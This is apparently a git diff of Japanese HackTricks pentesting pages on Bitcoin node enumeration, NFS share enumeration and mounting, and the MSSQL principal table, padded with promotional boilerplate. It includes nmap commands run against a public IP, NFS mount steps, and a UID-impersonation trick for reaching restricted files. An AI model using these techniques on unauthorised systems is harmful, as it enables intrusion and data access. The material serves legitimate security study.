GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手してください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,23 +1,26 @@
# 8333,18333,38333,18444 - Bitcoinのペンテスト
# 8333,18333,38333,18444 - Pentesting Bitcoin
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter**で私をフォロー🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 基本情報
* **ポート8333**は、**mainnet**のBitcoinード間で通信するために使用されます。
* **ポート18333**は、**testnet**のBitcoinード間で通信するために使用されます。
* **ポート38333**は、**signet**のBitcoinード間で通信するために使用されます。
* **ポート18444**は、**regtest**ローカルのBitcoinード間で通信するために使用されます。
* **ポート 8333** は、Bitcoinードが**メインネット**で相互に通信するために使用されます。
* **ポート 18333** は、Bitcoinードが**テストネット**で相互に通信するために使用されます。
* **ポート 38333** は、Bitcoinードが**シグネット**で相互に通信するために使用されます。
* **ポート 18444** は、Bitcoinードが**レグテスト**(ローカル)で相互に通信するために使用されます。
**デフォルトポート:** 8333, 18333, 38333, 18444
```
@ -31,7 +34,7 @@ PORT STATE SERVICE
## 列挙
Bitcoinードは、あなたが別の有効なBitcoinードであると思う場合、いくつかの情報を提供します。**Nmap**には、この情報を抽出するためのいくつかのスクリプトがあります。
Bitcoinードは、あなたが別の有効なBitcoinードであると考える場合、いくつかの情報を提供します。**Nmap**には、この情報を抽出するためのスクリプトがあります:
```
sudo nmap -p 8333 --script bitcoin-info --script bitcoin-getaddr 170.39.103.39
PORT STATE SERVICE
@ -54,14 +57,17 @@ PORT STATE SERVICE
| 75.128.4.27:8333 2022-04-02T08:10:45
[...]
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,100 +1,103 @@
# 2049 - NFSサービスのペンテスト
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、または**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## **基本情報**
**NFS**は、**クライアント/サーバー**向けに設計されたシステムで、ユーザーがネットワーク上のファイルにローカルディレクトリ内にあるかのようにシームレスにアクセスできるようにします。
**NFS**は、ユーザーがネットワーク上でファイルにシームレスにアクセスできるように設計された**クライアント/サーバー**システムです。これにより、これらのファイルがローカルディレクトリ内にあるかのように扱われます。
このプロトコルの注目すべき側面は、組み込みの**認証**または**認可メカニズム**の欠如です。代わりに、認可は**ファイルシステム情報**に依存し、サーバーは**クライアントが提供したユーザー情報**を正確に**UNIX構文**に従った**認可形式**に変換することが求められます。
このプロトコルの注目すべき点は、組み込みの**認証**や**認可メカニズム**がないことです。代わりに、認可は**ファイルシステム情報**に依存しており、サーバーは**クライアント提供のユーザー情報**をファイルシステムの必要な**認可形式**に正確に変換する役割を担っています。主に**UNIX構文**に従います。
認証は一般的に**UNIXの`UID`/`GID`識別子とグループメンバーシップ**に依存しています。ただし、クライアントとサーバーの間での**`UID`/`GID`のマッピングの不一致**が発生する可能性があるため、サーバーによる追加の検証の余地はありません。そのため、この認証方法に依存するため、プロトコルは**信頼されたネットワーク**内での使用に最適です。
認証は一般的に**UNIX `UID`/`GID`識別子およびグループメンバーシップ**に依存しています。しかし、クライアントとサーバー間の**`UID`/`GID`マッピング**の不一致の可能性があるため、サーバーによる追加の検証の余地がありません。その結果、このプロトコルは**信頼されたネットワーク**内での使用に最適です。この認証方法に依存しているためです。
**デフォルトポート**: 2049/TCP/UDPバージョン4を除く、TCPまたはUDPのみが必要です&#x20;
**デフォルトポート**2049/TCP/UDPバージョン4を除き、TCPまたはUDPのみが必要です
```
2049/tcp open nfs 2-3 (RPC #100003
```
### バージョン
- **NFSv2**: このバージョンは、さまざまなシステムとの広範な互換性で認識されており、初期の操作は主にUDPを介して行われることでその重要性を示しています。このシリーズで**最も古い**バージョンであり、将来の開発の基盤を築きました。
- **NFSv2**: このバージョンは、さまざまなシステムとの広範な互換性で認識されており、主にUDPを介した初期操作でその重要性を示しています。シリーズの中で**最も古い**ものであり、将来の開発の基礎を築きました。
- **NFSv3**: 様々な改良が施されたNFSv3は、前身を拡張し、可変ファイルサイズのサポートや改善されたエラー報告メカニズムを提供することで特徴付けられています。その進化にもかかわらず、NFSv2クライアントとの完全な後方互換性に制限がありました。
- **NFSv3**: 一連の改善と共に導入されたNFSv3は、可変ファイルサイズのサポートや改善されたエラーレポート機能を提供することで、前のバージョンを拡張しました。進歩にもかかわらず、NFSv2クライアントとの完全な後方互換性に制限がありました。
- **NFSv4**: NFSシリーズにおける画期的なバージョンであるNFSv4は、ネットワーク全体でのファイル共有を近代化するために設計された機能のスイートをもたらしました。注目すべき改善点には、**高セキュリティ**のためのKerberosの統合、ファイアウォールを横断し、ポートマッパーの必要なしにインターネット上で動作する能力、アクセス制御リストACLのサポート、および状態ベースの操作の導入が含まれます。そのパフォーマンスの向上とステートフルプロトコルの採用により、NFSv4はネットワークファイル共有技術の重要な進歩として区別されます。
- **NFSv4**: NFSシリーズの画期的なバージョンであるNFSv4は、ネットワーク全体でのファイル共有を現代化するために設計された一連の機能をもたらしました。注目すべき改善点には、**高セキュリティ**のためのKerberosの統合、ファイアウォールを越えて動作し、ポートマッパーを必要とせずにインターネット上で動作する能力、アクセス制御リストACLのサポート、状態ベースの操作の導入が含まれます。そのパフォーマンスの向上と状態を持つプロトコルの採用により、NFSv4はネットワークファイル共有技術における重要な進展として際立っています。
各NFSバージョンは、ネットワーク環境の進化するニーズに対処するために開発され、セキュリティ、互換性、パフォーマンスを徐々に向上させています。
各NFSバージョンは、ネットワーク環境の進化するニーズに対応することを目的として開発されており、セキュリティ、互換性、パフォーマンスを徐々に向上させています。
## 列挙
### 便利なnmapスクリプト
### 有用なnmapスクリプト
```bash
nfs-ls #List NFS exports and check permissions
nfs-showmount #Like showmount -e
nfs-statfs #Disk statistics and info from NFS share
```
### 便利なMetasploitモジュール
### 有用なMetasploitモジュール
```bash
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### マウント
### Mounting
サーバーがマウント可能な**フォルダ**を知るには、次のコマンドを使用して問い合わせます:
サーバーがマウントするために**どのフォルダー**を**利用可能**にしているかを知るには、次のように尋ねます:
```bash
showmount -e <IP>
```
その後、次のようにマウントします:
次に、次のコマンドを使用してマウントします:
```bash
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
```
あなたは**バージョン2を使用するように指定すべきです**。なぜなら、**認証**や**認可**が**一切ない**からです。
**バージョン2を使用する**ことを指定する必要があります。なぜなら、それには**認証**や**承認**が**ない**からです。
**例:**
```bash
mkdir /mnt/new_back
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
```
## 権限
## Permissions
特定のユーザー(UIDによってのみアクセス可能なファイルまたはフォルダーを含むが含まれているフォルダーをマウントした場合、そのUIDを持つ**ユーザー**を**ローカル**で作成し、その**ユーザー**を使用してファイル/フォルダーに**アクセス**できます。
特定のユーザー(**UID**)のみがアクセスできる**ファイルやフォルダ**を含むフォルダをマウントすると、**ローカル**にその**UID**を持つユーザーを作成し、その**ユーザー**を使用することでファイル/フォルダに**アクセス**できるようになります。
## NSFShell
簡単にリスト、マウントUIDとGIDを変更してファイルにアクセスするために[nfsshell](https://github.com/NetDirect/nfsshell)を使用できます。
ファイルにアクセスするために、UIDとGIDを簡単にリスト、マウント、変更するには、[nfsshell](https://github.com/NetDirect/nfsshell)を使用できます。
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
## 設定ファイル
## Config files
```
/etc/exports
/etc/lib/nfs/etab
```
### 危険な設定
- **読み書き権限 (`rw`):** この設定はファイルシステムへの読み取りと書き込みの両方を許可します。このような広範なアクセスを許可する影響を慎重に考慮することが重要です。
- **読み書き権限 (`rw`):** この設定は、ファイルシステムからの読み取りと書き込みの両方を許可します。このような広範なアクセスを付与することの影響を考慮することが重要です。
- **安全でないポートの使用 (`insecure`):** 有効にすると、システムは1024を超えるポートを利用できます。この範囲を超えるポートのセキュリティは厳格でない可能性があり、リスクが高まります。
- **安全でないポートの使用 (`insecure`):** 有効にすると、システムは1024以上のポートを利用できるようになります。この範囲を超えるポートのセキュリティは厳格でない場合があり、リスクが増加します。
- **ネストされたファイルシステムの可視性 (`nohide`):** この設定により、のファイルシステムがエクスポートされたディレクトリの下にマウントされていてもディレクトリが表示されます。各ディレクトリには適切な管理のために独自のエクスポートエントリが必要です。
- **ネストされたファイルシステムの可視性 (`nohide`):** この設定により、のファイルシステムがエクスポートされたディレクトリの下にマウントされていても、ディレクトリが可視化されます。各ディレクトリには適切な管理のために独自のエクスポートエントリが必要です。
- **ルートファイルの所有権 (`no_root_squash`):** この設定では、ルートユーザーによって作成されたファイルは元のUID/GID 0を維持し、最小権の原則を無視し、過剰な権限を付与する可能性があります。
- **ルートファイルの所有権 (`no_root_squash`):** この設定では、ルートユーザーによって作成されたファイルは元のUID/GID 0を維持し、最小権の原則を無視し、過剰な権限を付与する可能性があります。
- **すべてのユーザーのスクワッシュ解除 (`no_all_squash`):** このオプションは、ユーザーのアイデンティティがシステム全体で保持されることを確認し、適切に処理されない場合には権限とアクセス制御の問題が発生する可能性があります。
- **すべてのユーザーのスクワッシュ (`no_all_squash`):** このオプションは、ユーザーのアイデンティティがシステム全体で保持されることを保証しますが、正しく処理されない場合、権限やアクセス制御の問題を引き起こす可能性があります。
## NFSミスコンフィギュレーションを利用した特権昇格
## NFSの誤設定を利用した特権昇格
[NFS no\_root\_squashおよびno\_all\_squash特権昇格](../linux-hardening/privilege-escalation/nfs-no\_root_squash-misconfiguration-pe.md)
[NFS no\_root\_squash と no\_all\_squash の特権昇格](../linux-hardening/privilege-escalation/nfs-no\_root\_squash-misconfiguration-pe.md)
## HackTricks自動コマンド
## HackTricks 自動コマンド
```
Protocol_Name: NFS #Protocol Abbreviation if there is one.
Port_Number: 2049 #Comma separated if there is more than one.
@ -121,14 +124,17 @@ Name: Nmap
Description: Nmap with NFS Scripts
Command: nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 {IP}
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう。
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,45 +1,51 @@
# MSSQLユーザーの種類
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
[**ドキュメント**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver16)からの表
表は[**docs**](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver16)から取得しました
| 列名 | データ型 | 説明 |
| 列名 | データ型 | 説明 |
| ---------------------------------------- | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **name** | **sysname** | データベース内で一意のプリンシパルの名前。 |
| **principal\_id** | **int** | データベース内で一意のプリンシパルのID。 |
| **type** | **char(1)** | <p>プリンシパルの種類:<br><br>A = アプリケーションロール<br><br>C = 証明書にマッされたユーザー<br><br>E = Azure Active Directoryからの外部ユーザー<br><br>G = Windowsグループ<br><br>K = 非対称キーにマッされたユーザー<br><br>R = データベースロール<br><br>S = SQLユーザー<br><br>U = Windowsユーザー<br><br>X = Azure Active Directoryグループまたはアプリケーションからの外部グループ</p> |
| **type\_desc** | **nvarchar(60)** | <p>プリンシパルの種類の説明。<br><br>APPLICATION_ROLE<br><br>CERTIFICATE_MAPPED_USER<br><br>EXTERNAL_USER<br><br>WINDOWS_GROUP<br><br>ASYMMETRIC_KEY_MAPPED_USER<br><br>DATABASE_ROLE<br><br>SQL_USER<br><br>WINDOWS_USER<br><br>EXTERNAL_GROUPS</p> |
| **default\_schema\_name** | **sysname** | SQL名がスキーマを指定しない場合に使用される名前。S、U、またはAタイプのプリンシパルの場合はNULL。 |
| **name** | **sysname** | プリンシパルの名前、データベース内で一意。 |
| **principal\_id** | **int** | プリンシパルのID、データベース内で一意。 |
| **type** | **char(1)** | <p>プリンシパルのタイプ:<br><br>A = アプリケーションロール<br><br>C = 証明書にマッピングされたユーザー<br><br>E = Azure Active Directoryからの外部ユーザー<br><br>G = Windowsグループ<br><br>K = 非対称キーにマッピングされたユーザー<br><br>R = データベースロール<br><br>S = SQLユーザー<br><br>U = Windowsユーザー<br><br>X = Azure Active Directoryグループまたはアプリケーションからの外部グループ</p> |
| **type\_desc** | **nvarchar(60)** | <p>プリンシパルタイプの説明。<br><br>APPLICATION_ROLE<br><br>CERTIFICATE_MAPPED_USER<br><br>EXTERNAL_USER<br><br>WINDOWS_GROUP<br><br>ASYMMETRIC_KEY_MAPPED_USER<br><br>DATABASE_ROLE<br><br>SQL_USER<br><br>WINDOWS_USER<br><br>EXTERNAL_GROUPS</p> |
| **default\_schema\_name** | **sysname** | SQL名がスキーマを指定しない場合に使用される名前。S、U、またはAタイプのプリンシパルはNULL。 |
| **create\_date** | **datetime** | プリンシパルが作成された時刻。 |
| **modify\_date** | **datetime** | プリンシパルが最後に変更された時刻。 |
| **owning\_principal\_id** | **int** | このプリンシパルを所有するプリンシパルのID。すべての固定データベースロールはデフォルトで**dbo**によって所有されています。 |
| **sid** | **varbinary(85)** | プリンシパルのSIDセキュリティ識別子。SYSおよびINFORMATION SCHEMASの場合はNULL。 |
| **is\_fixed\_role** | **bit** | 1の場合、この行は次の固定データベースロールのエントリを表しますdb\_owner、db\_accessadmin、db\_datareader、db\_datawriter、db\_ddladmin、db\_securityadmin、db\_backupoperator、db\_denydatareader、db\_denydatawriter。 |
| **authentication\_type** | **int** | <p><strong>適用対象</strong>: SQL Server 201211.x以降。<br><br>認証タイプを示します。次の値とその説明が可能です。<br><br>0 : 認証なし<br>1 : インスタンス認証<br>2 : データベース認証<br>3 : Windows認証<br>4 : Azure Active Directory認証</p> |
| **authentication\_type\_desc** | **nvarchar(60)** | <p><strong>適用対象</strong>: SQL Server 201211.x以降。<br><br>認証タイプの説明。次の値とその説明が可能です。<br><br><code>NONE</code> : 認証なし<br><code>INSTANCE</code> : インスタンス認証<br><code>DATABASE</code> : データベース認証<br><code>WINDOWS</code> : Windows認証<br><code>EXTERNAL</code>: Azure Active Directory認証</p> |
| **default\_language\_name** | **sysname** | <p><strong>適用対象</strong>: SQL Server 201211.x以降。<br><br>このプリンシパルのデフォルト言語を示します。</p> |
| **default\_language\_lcid** | **int** | <p><strong>適用対象</strong>: SQL Server 201211.x以降。<br><br>このプリンシパルのデフォルトLCIDを示します。</p> |
| **allow\_encrypted\_value\_modifications** | **bit** | <p><strong>適用対象</strong>: SQL Server 201613.x以降、SQL Database。<br><br>サーバーでのバルクコピー操作における暗号化メタデータチェックを抑制します。これにより、ユーザーはデータを復号化せずに、Always Encryptedを使用して暗号化されたデータをテーブルやデータベース間でバルクコピーできます。デフォルトはOFFです。</p> |
| **owning\_principal\_id** | **int** | このプリンシパルを所有するプリンシパルのID。すべての固定データベースロールはデフォルトで**dbo**によって所有される。 |
| **sid** | **varbinary(85)** | プリンシパルのSIDセキュリティ識別子。SYSおよびINFORMATION SCHEMASにはNULL。 |
| **is\_fixed\_role** | **bit** | 1の場合、この行は固定データベースロールの1つのエントリを表すdb\_owner、db\_accessadmin、db\_datareader、db\_datawriter、db\_ddladmin、db\_securityadmin、db\_backupoperator、db\_denydatareader、db\_denydatawriter。 |
| **authentication\_type** | **int** | <p><strong>適用対象</strong>: SQL Server 2012 (11.x)以降。<br><br>認証タイプを示す。以下は可能な値とその説明。<br><br>0 : 認証なし<br>1 : インスタンス認証<br>2 : データベース認証<br>3 : Windows認証<br>4 : Azure Active Directory認証</p> |
| **authentication\_type\_desc** | **nvarchar(60)** | <p><strong>適用対象</strong>: SQL Server 2012 (11.x)以降。<br><br>認証タイプの説明。以下は可能な値とその説明。<br><br><code>NONE</code> : 認証なし<br><code>INSTANCE</code> : インスタンス認証<br><code>DATABASE</code> : データベース認証<br><code>WINDOWS</code> : Windows認証<br><code>EXTERNAL</code>: Azure Active Directory認証</p> |
| **default\_language\_name** | **sysname** | <p><strong>適用対象</strong>: SQL Server 2012 (11.x)以降。<br><br>このプリンシパルのデフォルト言語を示す。</p> |
| **default\_language\_lcid** | **int** | <p><strong>適用対象</strong>: SQL Server 2012 (11.x)以降。<br><br>このプリンシパルのデフォルトLCIDを示す。</p> |
| **allow\_encrypted\_value\_modifications** | **bit** | <p><strong>適用対象</strong>: SQL Server 2016 (13.x)以降、SQL Database。<br><br>サーバーでの暗号化メタデータチェックを抑制し、Always Encryptedを使用して暗号化されたデータをテーブルまたはデータベース間で復号化せずにバルクコピーできるようにします。デフォルトはOFFです。</p> |
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
